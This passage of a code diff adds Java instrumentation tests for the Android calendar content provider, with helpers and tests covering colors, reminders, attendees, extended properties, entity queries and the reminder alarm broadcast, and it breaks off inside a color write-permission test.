+ public static final int[] DEFAULT_TYPES = new int[] {
+ Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR,
+ Colors.TYPE_CALENDAR, Colors.TYPE_EVENT, Colors.TYPE_EVENT, Colors.TYPE_EVENT,
+ Colors.TYPE_EVENT,
+ };
+ public static final int[] DEFAULT_COLORS = new int[] {
+ 0xFFFF0000, 0xFF00FF00, 0xFF0000FF, 0xFFAA00AA, 0xFF00AAAA, 0xFF333333, 0xFFAAAA00,
+ 0xFFAAAAAA,
+ };
+ public static final String[] DEFAULT_INDICES = new String[] {
+ "000", "001", "010", "011", "100", "101", "110", "111",
+ };
+
+ public static final int C_COLOR_0 = 0;
+ public static final int C_COLOR_1 = 1;
+ public static final int C_COLOR_2 = 2;
+ public static final int C_COLOR_3 = 3;
+ public static final int E_COLOR_0 = 4;
+ public static final int E_COLOR_1 = 5;
+ public static final int E_COLOR_2 = 6;
+ public static final int E_COLOR_3 = 7;
+
+ // do not instantiate
+ private ColorHelper() {
+ }
+
+ /**
+ * Adds a new color to the colors table.
+ *
+ * @return the _id of the new color, or -1 on failure
+ */
+ public static long addColor(ContentResolver resolver, String accountName,
+ String accountType, String data, String index, int type, int color) {
+ Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
+
+ ContentValues colorValues = new ContentValues();
+ colorValues.put(Colors.DATA, data);
+ colorValues.put(Colors.COLOR_KEY, index);
+ colorValues.put(Colors.COLOR_TYPE, type);
+ colorValues.put(Colors.COLOR, color);
+ Uri result = resolver.insert(uri, colorValues);
+ return ContentUris.parseId(result);
+ }
+
+ /**
+ * Finds the color specified by an account name/type and a color index.
+ * The returned cursor will use {@link ColorHelper#COLORS_PROJECTION}.
+ */
+ public static Cursor findColorByIndex(ContentResolver resolver, String accountName,
+ String accountType, String index) {
+ return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION,
+ WHERE_COLOR_ACCOUNT_AND_INDEX,
+ new String[] {accountName, accountType, index}, null);
+ }
+
+ public static Cursor findColorsByAccount(ContentResolver resolver, String accountName,
+ String accountType) {
+ return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION, WHERE_COLOR_ACCOUNT,
+ new String[] { accountName, accountType }, null);
+ }
+
+ /**
+ * Adds a default set of test colors to the Colors table under the given
+ * account.
+ *
+ * @return true if the default colors were added successfully
+ */
+ public static boolean addDefaultColorsToAccount(ContentResolver resolver,
+ String accountName, String accountType) {
+ for (int i = 0; i < DEFAULT_INDICES.length; i++) {
+ long id = addColor(resolver, accountName, accountType, null, DEFAULT_INDICES[i],
+ DEFAULT_TYPES[i], DEFAULT_COLORS[i]);
+ if (id == -1) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ public static void deleteColorsByAccount(ContentResolver resolver, String accountName,
+ String accountType) {
+ Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
+ resolver.delete(uri, WHERE_COLOR_ACCOUNT, new String[] { accountName, accountType });
+ }
+ }
+
+
+ /**
+ * Helper class for manipulating entries in the Reminders table.
+ */
+ private static class ReminderHelper {
+ public static final String[] REMINDERS_PROJECTION = new String[] {
+ Reminders._ID,
+ Reminders.EVENT_ID,
+ Reminders.MINUTES,
+ Reminders.METHOD
+ };
+ // indexes into projection
+ public static final int REMINDERS_ID_INDEX = 0;
+ public static final int REMINDERS_EVENT_ID_INDEX = 1;
+ public static final int REMINDERS_MINUTES_INDEX = 2;
+ public static final int REMINDERS_METHOD_INDEX = 3;
+
+ // do not instantiate
+ private ReminderHelper() {}
+
+ /**
+ * Adds a new reminder to the specified event.
+ *
+ * @return the _id of the new reminder, or -1 on failure
+ */
+ public static long addReminder(ContentResolver resolver, long eventId, int minutes,
+ int method) {
+ Uri uri = Reminders.CONTENT_URI;
+
+ ContentValues reminder = new ContentValues();
+ reminder.put(Reminders.EVENT_ID, eventId);
+ reminder.put(Reminders.MINUTES, minutes);
+ reminder.put(Reminders.METHOD, method);
+ Uri result = resolver.insert(uri, reminder);
+ return ContentUris.parseId(result);
+ }
+
+ /**
+ * Finds all Reminders rows for the specified event. The returned cursor will use
+ * {@link ReminderHelper#REMINDERS_PROJECTION}.
+ */
+ public static Cursor findRemindersByEventId(ContentResolver resolver, long eventId) {
+ return resolver.query(Reminders.CONTENT_URI, REMINDERS_PROJECTION,
+ Reminders.EVENT_ID + "=?", new String[] { String.valueOf(eventId) }, null);
+ }
+
+ /**
+ * Looks up the specified Reminders row and returns the "method" value.
+ */
+ public static int lookupMethod(ContentResolver resolver, long remId) {
+ return getIntFromDatabase(resolver, Reminders.CONTENT_URI, remId,
+ Reminders.METHOD);
+ }
+ }
+
+ /**
+ * Helper class for manipulating entries in the ExtendedProperties table.
+ */
+ private static class ExtendedPropertiesHelper {
+ public static final String[] EXTENDED_PROPERTIES_PROJECTION = new String[] {
+ ExtendedProperties._ID,
+ ExtendedProperties.EVENT_ID,
+ ExtendedProperties.NAME,
+ ExtendedProperties.VALUE
+ };
+ // indexes into projection
+ public static final int EXTENDED_PROPERTIES_ID_INDEX = 0;
+ public static final int EXTENDED_PROPERTIES_EVENT_ID_INDEX = 1;
+ public static final int EXTENDED_PROPERTIES_NAME_INDEX = 2;
+ public static final int EXTENDED_PROPERTIES_VALUE_INDEX = 3;
+
+ // do not instantiate
+ private ExtendedPropertiesHelper() {}
+
+ /**
+ * Adds a new ExtendedProperty for the specified event. Runs as sync adapter.
+ *
+ * @return the _id of the new ExtendedProperty, or -1 on failure
+ */
+ public static long addExtendedProperty(ContentResolver resolver, String account,
+ long eventId, String name, String value) {
+ Uri uri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
+
+ ContentValues ep = new ContentValues();
+ ep.put(ExtendedProperties.EVENT_ID, eventId);
+ ep.put(ExtendedProperties.NAME, name);
+ ep.put(ExtendedProperties.VALUE, value);
+ Uri result = resolver.insert(uri, ep);
+ return ContentUris.parseId(result);
+ }
+
+ /**
+ * Finds all ExtendedProperties rows for the specified event. The returned cursor will
+ * use {@link ExtendedPropertiesHelper#EXTENDED_PROPERTIES_PROJECTION}.
+ */
+ public static Cursor findExtendedPropertiesByEventId(ContentResolver resolver,
+ long eventId) {
+ return resolver.query(ExtendedProperties.CONTENT_URI, EXTENDED_PROPERTIES_PROJECTION,
+ ExtendedProperties.EVENT_ID + "=?",
+ new String[] { String.valueOf(eventId) }, null);
+ }
+
+ /**
+ * Finds an ExtendedProperties entry with a matching name for the specified event, and
+ * returns the value. Throws an exception if we don't find exactly one row.
+ */
+ public static String lookupValueByName(ContentResolver resolver, long eventId,
+ String name) {
+ Cursor cursor = resolver.query(ExtendedProperties.CONTENT_URI,
+ EXTENDED_PROPERTIES_PROJECTION,
+ ExtendedProperties.EVENT_ID + "=? AND " + ExtendedProperties.NAME + "=?",
+ new String[] { String.valueOf(eventId), name }, null);
+
+ try {
+ if (cursor.getCount() != 1) {
+ throw new RuntimeException("Got " + cursor.getCount() + " results, expected 1");
+ }
+
+ cursor.moveToFirst();
+ return cursor.getString(EXTENDED_PROPERTIES_VALUE_INDEX);
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ }
+ }
+ }
+
+ /**
+ * Creates an updated URI that includes query parameters that identify the source as a
+ * sync adapter.
+ */
+ static Uri asSyncAdapter(Uri uri, String account, String accountType) {
+ return uri.buildUpon()
+ .appendQueryParameter(android.provider.CalendarContract.CALLER_IS_SYNCADAPTER,
+ "true")
+ .appendQueryParameter(Calendars.ACCOUNT_NAME, account)
+ .appendQueryParameter(Calendars.ACCOUNT_TYPE, accountType).build();
+ }
+
+ /**
+ * Returns the value of the specified row and column in the Events table, as an integer.
+ * Throws an exception if the specified row or column doesn't exist or doesn't contain
+ * an integer (e.g. null entry).
+ */
+ private static int getIntFromDatabase(ContentResolver resolver, Uri uri, long rowId,
+ String columnName) {
+ String[] projection = { columnName };
+ String selection = SQL_WHERE_ID;
+ String[] selectionArgs = { String.valueOf(rowId) };
+
+ Cursor c = resolver.query(uri, projection, selection, selectionArgs, null);
+ try {
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ return c.getInt(0);
+ } finally {
+ c.close();
+ }
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+ }
+
+ @MediumTest
+ public void testCalendarCreationAndDeletion() {
+ String account = "cc1_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ long id = createAndVerifyCalendar(account, seed++, null);
+
+ removeAndVerifyCalendar(account, id);
+ }
+
+ /**
+ * Tests whether the default projections work. We don't need to have any data in
+ * the calendar, since it's testing the database schema.
+ */
+ @MediumTest
+ public void testDefaultProjections() {
+ String account = "dproj_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ long id = createAndVerifyCalendar(account, seed++, null);
+
+ Cursor c;
+ Uri uri;
+ // Calendars
+ c = mContentResolver.query(Calendars.CONTENT_URI, null, null, null, null);
+ c.close();
+ // Events
+ c = mContentResolver.query(Events.CONTENT_URI, null, null, null, null);
+ c.close();
+ // Instances
+ uri = Uri.withAppendedPath(Instances.CONTENT_URI, "0/1");
+ c = mContentResolver.query(uri, null, null, null, null);
+ c.close();
+ // Attendees
+ c = mContentResolver.query(Attendees.CONTENT_URI, null, null, null, null);
+ c.close();
+ // Reminders (only REMINDERS_ID currently uses default projection)
+ uri = ContentUris.withAppendedId(Reminders.CONTENT_URI, 0);
+ c = mContentResolver.query(uri, null, null, null, null);
+ c.close();
+ // CalendarAlerts
+ c = mContentResolver.query(CalendarContract.CalendarAlerts.CONTENT_URI,
+ null, null, null, null);
+ c.close();
+ // CalendarCache
+ c = mContentResolver.query(CalendarContract.CalendarCache.URI,
+ null, null, null, null);
+ c.close();
+ // CalendarEntity
+ c = mContentResolver.query(CalendarContract.CalendarEntity.CONTENT_URI,
+ null, null, null, null);
+ c.close();
+ // EventEntities
+ c = mContentResolver.query(CalendarContract.EventsEntity.CONTENT_URI,
+ null, null, null, null);
+ c.close();
+ // EventDays
+ uri = Uri.withAppendedPath(CalendarContract.EventDays.CONTENT_URI, "1/2");
+ c = mContentResolver.query(uri, null, null, null, null);
+ c.close();
+ // ExtendedProperties
+ c = mContentResolver.query(CalendarContract.ExtendedProperties.CONTENT_URI,
+ null, null, null, null);
+ c.close();
+
+ removeAndVerifyCalendar(account, id);
+ }
+
+ /**
+ * Exercises the EventsEntity class.
+ */
+ @MediumTest
+ public void testEventsEntityQuery() {
+ String account = "eeq_account";
+ int seed = 0;
+
+ // Clean up just in case.
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar.
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create three events. We need to make sure SELF_ATTENDEE_STATUS isn't set, because
+ // that causes the provider to generate an Attendees entry, and that'll throw off
+ // our expected count.
+ ContentValues eventValues;
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+ long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId1 >= 0);
+
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+ long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId2 >= 0);
+
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+ long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId3 >= 0);
+
+ /*
+ * Add some attendees, reminders, and extended properties.
+ */
+ Uri uri, syncUri;
+
+ syncUri = asSyncAdapter(Reminders.CONTENT_URI, account, CTS_TEST_TYPE);
+ ContentValues remValues = new ContentValues();
+ remValues.put(Reminders.EVENT_ID, eventId1);
+ remValues.put(Reminders.MINUTES, 10);
+ remValues.put(Reminders.METHOD, Reminders.METHOD_ALERT);
+ mContentResolver.insert(syncUri, remValues);
+ remValues.put(Reminders.MINUTES, 20);
+ mContentResolver.insert(syncUri, remValues);
+
+ syncUri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
+ ContentValues extended = new ContentValues();
+ extended.put(ExtendedProperties.NAME, "foo");
+ extended.put(ExtendedProperties.VALUE, "bar");
+ extended.put(ExtendedProperties.EVENT_ID, eventId2);
+ mContentResolver.insert(syncUri, extended);
+ extended.put(ExtendedProperties.EVENT_ID, eventId1);
+ mContentResolver.insert(syncUri, extended);
+ extended.put(ExtendedProperties.NAME, "foo2");
+ extended.put(ExtendedProperties.VALUE, "bar2");
+ mContentResolver.insert(syncUri, extended);
+
+ syncUri = asSyncAdapter(Attendees.CONTENT_URI, account, CTS_TEST_TYPE);
+ ContentValues attendee = new ContentValues();
+ attendee.put(Attendees.ATTENDEE_NAME, "Joe");
+ attendee.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
+ attendee.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
+ attendee.put(Attendees.ATTENDEE_TYPE, Attendees.TYPE_REQUIRED);
+ attendee.put(Attendees.ATTENDEE_RELATIONSHIP, Attendees.RELATIONSHIP_PERFORMER);
+ attendee.put(Attendees.EVENT_ID, eventId3);
+ mContentResolver.insert(syncUri, attendee);
+
+ /*
+ * Iterate over all events on our calendar. Peek at a few values to see if they
+ * look reasonable.
+ */
+ EntityIterator ei = EventsEntity.newEntityIterator(
+ mContentResolver.query(EventsEntity.CONTENT_URI, null, Events.CALENDAR_ID + "=?",
+ new String[] { String.valueOf(calendarId) }, null),
+ mContentResolver);
+ int count = 0;
+ try {
+ while (ei.hasNext()) {
+ Entity entity = ei.next();
+ ContentValues values = entity.getEntityValues();
+ ArrayList<Entity.NamedContentValues> subvalues = entity.getSubValues();
+ long eventId = values.getAsLong(Events._ID);
+ if (eventId == eventId1) {
+ // 2 x reminder, 2 x extended properties
+ assertEquals(4, subvalues.size());
+ } else if (eventId == eventId2) {
+ // Extended properties
+ assertEquals(1, subvalues.size());
+ ContentValues subContentValues = subvalues.get(0).values;
+ String name = subContentValues.getAsString(
+ CalendarContract.ExtendedProperties.NAME);
+ String value = subContentValues.getAsString(
+ CalendarContract.ExtendedProperties.VALUE);
+ assertEquals("foo", name);
+ assertEquals("bar", value);
+ } else if (eventId == eventId3) {
+ // Attendees
+ assertEquals(1, subvalues.size());
+ } else {
+ fail("should not be here");
+ }
+ count++;
+ }
+ assertEquals(3, count);
+ } finally {
+ ei.close();
+ }
+
+ // Confirm that querying for a single event yields a single event.
+ ei = EventsEntity.newEntityIterator(
+ mContentResolver.query(EventsEntity.CONTENT_URI, null, SQL_WHERE_ID,
+ new String[] { String.valueOf(eventId3) }, null),
+ mContentResolver);
+ try {
+ count = 0;
+ while (ei.hasNext()) {
+ Entity entity = ei.next();
+ count++;
+ }
+ assertEquals(1, count);
+ } finally {
+ ei.close();
+ }
+
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Exercises the CalendarEntity class.
+ */
+ @MediumTest
+ public void testCalendarEntityQuery() {
+ String account1 = "ceq1_account";
+ String account2 = "ceq2_account";
+ String account3 = "ceq3_account";
+ int seed = 0;
+
+ // Clean up just in case.
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account3);
+
+ // Create calendars.
+ long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
+ long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
+ long calendarId3 = createAndVerifyCalendar(account3, seed++, null);
+
+ EntityIterator ei = CalendarEntity.newEntityIterator(
+ mContentResolver.query(CalendarEntity.CONTENT_URI, null,
+ Calendars._ID + "=? OR " + Calendars._ID + "=? OR " + Calendars._ID + "=?",
+ new String[] { String.valueOf(calendarId1), String.valueOf(calendarId2),
+ String.valueOf(calendarId3) },
+ null));
+
+ try {
+ int count = 0;
+ while (ei.hasNext()) {
+ Entity entity = ei.next();
+ count++;
+ }
+ assertEquals(3, count);
+ } finally {
+ ei.close();
+ }
+
+ removeAndVerifyCalendar(account1, calendarId1);
+ removeAndVerifyCalendar(account2, calendarId2);
+ removeAndVerifyCalendar(account3, calendarId3);
+ }
+
+ /**
+ * Tests creation and manipulation of Attendees.
+ */
+ @MediumTest
+ public void testAttendees() {
+ String account = "att_account";
+ int seed = 0;
+
+ // Clean up just in case.
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar.
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create two events, one with a value set for SELF_ATTENDEE_STATUS, one without.
+ ContentValues eventValues;
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
+ long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId1 >= 0);
+
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+ long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId2 >= 0);
+
+ /*
+ * Add some attendees to the first event.
+ */
+ long attId1 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
+ "Alice",
+ "alice@example.com",
+ Attendees.ATTENDEE_STATUS_TENTATIVE,
+ Attendees.RELATIONSHIP_ATTENDEE,
+ Attendees.TYPE_REQUIRED);
+ long attId2 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
+ "Betty",
+ "betty@example.com",
+ Attendees.ATTENDEE_STATUS_DECLINED,
+ Attendees.RELATIONSHIP_ATTENDEE,
+ Attendees.TYPE_NONE);
+ long attId3 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
+ "Carol",
+ "carol@example.com",
+ Attendees.ATTENDEE_STATUS_DECLINED,
+ Attendees.RELATIONSHIP_ATTENDEE,
+ Attendees.TYPE_OPTIONAL);
+
+ /*
+ * Find the event1 "self" attendee entry.
+ */
+ Cursor cursor = AttendeeHelper.findAttendeesByEmail(mContentResolver, eventId1,
+ CalendarHelper.generateCalendarOwnerEmail(account));
+ try {
+ assertEquals(1, cursor.getCount());
+ //DatabaseUtils.dumpCursor(cursor);
+
+ cursor.moveToFirst();
+ long id = cursor.getLong(AttendeeHelper.ATTENDEES_ID_INDEX);
+
+ /*
+ * Update the status field. The provider should automatically propagate the result.
+ */
+ ContentValues update = new ContentValues();
+ Uri uri = ContentUris.withAppendedId(Attendees.CONTENT_URI, id);
+
+ update.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_ACCEPTED);
+ int count = mContentResolver.update(uri, update, null, null);
+ assertEquals(1, count);
+
+ int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId1);
+ assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
+
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ }
+
+ /*
+ * Do a bulk update of all Attendees for this event, changing any Attendee with status
+ * "declined" to "invited".
+ */
+ ContentValues bulkUpdate = new ContentValues();
+ bulkUpdate.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_INVITED);
+
+ int count = mContentResolver.update(Attendees.CONTENT_URI, bulkUpdate,
+ Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_STATUS + "=?",
+ new String[] {
+ String.valueOf(eventId1), String.valueOf(Attendees.ATTENDEE_STATUS_DECLINED)
+ });
+ assertEquals(2, count);
+
+ /*
+ * Add a new, non-self attendee to the second event.
+ */
+ long attId4 = AttendeeHelper.addAttendee(mContentResolver, eventId2,
+ "Diana",
+ "diana@example.com",
+ Attendees.ATTENDEE_STATUS_ACCEPTED,
+ Attendees.RELATIONSHIP_ATTENDEE,
+ Attendees.TYPE_REQUIRED);
+
+ /*
+ * Confirm that the selfAttendeeStatus on the second event has the default value.
+ */
+ int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
+ assertEquals(Attendees.ATTENDEE_STATUS_NONE, status);
+
+ /*
+ * Create a new "self" attendee in the second event by updating the email address to
+ * match that of the calendar owner.
+ */
+ ContentValues newSelf = new ContentValues();
+ newSelf.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
+ count = mContentResolver.update(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
+ newSelf, null, null);
+ assertEquals(1, count);
+
+ /*
+ * Confirm that the event's selfAttendeeStatus has been updated.
+ */
+ status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
+ assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
+
+ /*
+ * TODO: (these are unexpected usage patterns)
+ * - Update an Attendee's status and event_id to move it to a different event, and
+ * confirm that the selfAttendeeStatus in the destination event is updated (rather
+ * than that of the source event).
+ * - Create two Attendees with email addresses that match "self" but have different
+ * values for "status". Delete one and confirm that selfAttendeeStatus is changed
+ * to that of the remaining Attendee. (There is no defined behavior for
+ * selfAttendeeStatus when there are multiple matching Attendees.)
+ */
+
+ /*
+ * Test deletion, singly by ID and in bulk.
+ */
+ count = mContentResolver.delete(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
+ null, null);
+ assertEquals(1, count);
+
+ count = mContentResolver.delete(Attendees.CONTENT_URI, Attendees.EVENT_ID + "=?",
+ new String[] { String.valueOf(eventId1) });
+ assertEquals(4, count); // 3 we created + 1 auto-added by the provider
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests creation and manipulation of Reminders.
+ */
+ @MediumTest
+ public void testReminders() {
+ String account = "rem_account";
+ int seed = 0;
+
+ // Clean up just in case.
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar.
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create events.
+ ContentValues eventValues;
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId1 >= 0);
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId2 >= 0);
+
+ // No reminders, hasAlarm should be zero.
+ int hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+ assertEquals(0, hasAlarm);
+ hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
+ assertEquals(0, hasAlarm);
+
+ /*
+ * Add some reminders.
+ */
+ long remId1 = ReminderHelper.addReminder(mContentResolver, eventId1,
+ 10, Reminders.METHOD_DEFAULT);
+ long remId2 = ReminderHelper.addReminder(mContentResolver, eventId1,
+ 15, Reminders.METHOD_ALERT);
+ long remId3 = ReminderHelper.addReminder(mContentResolver, eventId1,
+ 20, Reminders.METHOD_SMS); // SMS isn't allowed for this calendar
+
+ // Should have been set to 1 by provider.
+ hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+ assertEquals(1, hasAlarm);
+
+ // Add a reminder to event2.
+ ReminderHelper.addReminder(mContentResolver, eventId2,
+ 20, Reminders.METHOD_DEFAULT);
+ hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
+ assertEquals(1, hasAlarm);
+
+
+ /*
+ * Check the entries.
+ */
+ Cursor cursor = ReminderHelper.findRemindersByEventId(mContentResolver, eventId1);
+ try {
+ assertEquals(3, cursor.getCount());
+ //DatabaseUtils.dumpCursor(cursor);
+
+ while (cursor.moveToNext()) {
+ int minutes = cursor.getInt(ReminderHelper.REMINDERS_MINUTES_INDEX);
+ int method = cursor.getInt(ReminderHelper.REMINDERS_METHOD_INDEX);
+ switch (minutes) {
+ case 10:
+ assertEquals(Reminders.METHOD_DEFAULT, method);
+ break;
+ case 15:
+ assertEquals(Reminders.METHOD_ALERT, method);
+ break;
+ case 20:
+ assertEquals(Reminders.METHOD_SMS, method);
+ break;
+ default:
+ fail("unexpected minutes " + minutes);
+ break;
+ }
+ }
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ }
+
+ /*
+ * Use the bulk update feature to change all METHOD_DEFAULT to METHOD_EMAIL. To make
+ * this more interesting we first change remId3 to METHOD_DEFAULT.
+ */
+ int count;
+ ContentValues newValues = new ContentValues();
+ newValues.put(Reminders.METHOD, Reminders.METHOD_DEFAULT);
+ count = mContentResolver.update(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId3),
+ newValues, null, null);
+ assertEquals(1, count);
+
+ newValues.put(Reminders.METHOD, Reminders.METHOD_EMAIL);
+ count = mContentResolver.update(Reminders.CONTENT_URI, newValues,
+ Reminders.EVENT_ID + "=? AND " + Reminders.METHOD + "=?",
+ new String[] {
+ String.valueOf(eventId1), String.valueOf(Reminders.METHOD_DEFAULT)
+ });
+ assertEquals(2, count);
+
+ // check it
+ int method = ReminderHelper.lookupMethod(mContentResolver, remId3);
+ assertEquals(Reminders.METHOD_EMAIL, method);
+
+ /*
+ * Delete some / all reminders and confirm that hasAlarm tracks it.
+ *
+ * You can also remove reminders from an event by updating the event_id column, but
+ * that's defined as producing undefined behavior, so we don't do it here.
+ */
+ count = mContentResolver.delete(Reminders.CONTENT_URI,
+ Reminders.EVENT_ID + "=? AND " + Reminders.MINUTES + ">=?",
+ new String[] { String.valueOf(eventId1), "15" });
+ assertEquals(2, count);
+ hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+ assertEquals(1, hasAlarm);
+
+ // Delete all reminders from both events.
+ count = mContentResolver.delete(Reminders.CONTENT_URI,
+ Reminders.EVENT_ID + "=? OR " + Reminders.EVENT_ID + "=?",
+ new String[] { String.valueOf(eventId1), String.valueOf(eventId2) });
+ assertEquals(2, count);
+ hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+ assertEquals(0, hasAlarm);
+ hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
+ assertEquals(0, hasAlarm);
+
+ /*
+ * Add a couple of reminders and then delete one with the by-ID URI.
+ */
+ long remId4 = ReminderHelper.addReminder(mContentResolver, eventId1,
+ 10, Reminders.METHOD_EMAIL);
+ long remId5 = ReminderHelper.addReminder(mContentResolver, eventId1,
+ 15, Reminders.METHOD_EMAIL);
+ count = mContentResolver.delete(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId4),
+ null, null);
+ assertEquals(1, count);
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * A listener for the EVENT_REMINDER broadcast that is expected to be fired by the
+ * provider at the reminder time.
+ */
+ public class MockReminderReceiver extends BroadcastReceiver {
+ public boolean received = false;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final String action = intent.getAction();
+ if (action.equals(CalendarContract.ACTION_EVENT_REMINDER)) {
+ received = true;
+ }
+ }
+ }
+
+ /**
+ * Test that reminders result in the expected broadcast at reminder time.
+ */
+ public void testRemindersAlarm() throws Exception {
+ // Setup: register a mock listener for the broadcast we expect to fire at the
+ // reminder time.
+ final MockReminderReceiver reminderReceiver = new MockReminderReceiver();
+ IntentFilter filter = new IntentFilter(CalendarContract.ACTION_EVENT_REMINDER);
+ filter.addDataScheme("content");
+ getInstrumentation().getTargetContext().registerReceiver(reminderReceiver, filter);
+
+ // Clean up just in case.
+ String account = "rem_account";
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar. Use '1' as seed as this sets the VISIBLE field to 1.
+ // The calendar must be visible for its notifications to occur.
+ long calendarId = createAndVerifyCalendar(account, 1, null);
+
+ // Create event for 15 min in the past, with a 10 min reminder, so that it will
+ // trigger immediately.
+ ContentValues eventValues;
+ int seed = 0;
+ long now = System.currentTimeMillis();
+ eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+ eventValues.put(Events.DTSTART, now - DateUtils.MINUTE_IN_MILLIS * 15);
+ eventValues.put(Events.DTEND, now + DateUtils.HOUR_IN_MILLIS);
+ long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ assertTrue(eventId >= 0);
+ ReminderHelper.addReminder(mContentResolver, eventId, 10, Reminders.METHOD_ALERT);
+
+ // Confirm that the EVENT_REMINDER broadcast was fired by the provider.
+ new PollingCheck(POLLING_TIMEOUT) {
+ @Override
+ protected boolean check() {
+ return reminderReceiver.received;
+ }
+ }.run();
+ assertTrue(reminderReceiver.received);
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ @MediumTest
+ public void testColorWriteRequirements() {
+ String account = "colw_account";
+ String account2 = "colw2_account";
+ int seed = 0;
+ Uri uri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
+ Uri uri2 = asSyncAdapter(Colors.CONTENT_URI, account2, CTS_TEST_TYPE);
+
+ // Clean up just in case
+ ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
+ ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
+
+ ContentValues colorValues = new ContentValues();
+ // Account name/type must be in the query params, so may be left
+ // out here
+ colorValues.put(Colors.DATA, "0");
+ colorValues.put(Colors.COLOR_KEY, "1");
+ colorValues.put(Colors.COLOR_TYPE, 0);
+ colorValues.put(Colors.COLOR, 0xff000000);
+
+ // Verify only a sync adapter can write to Colors
+ try {
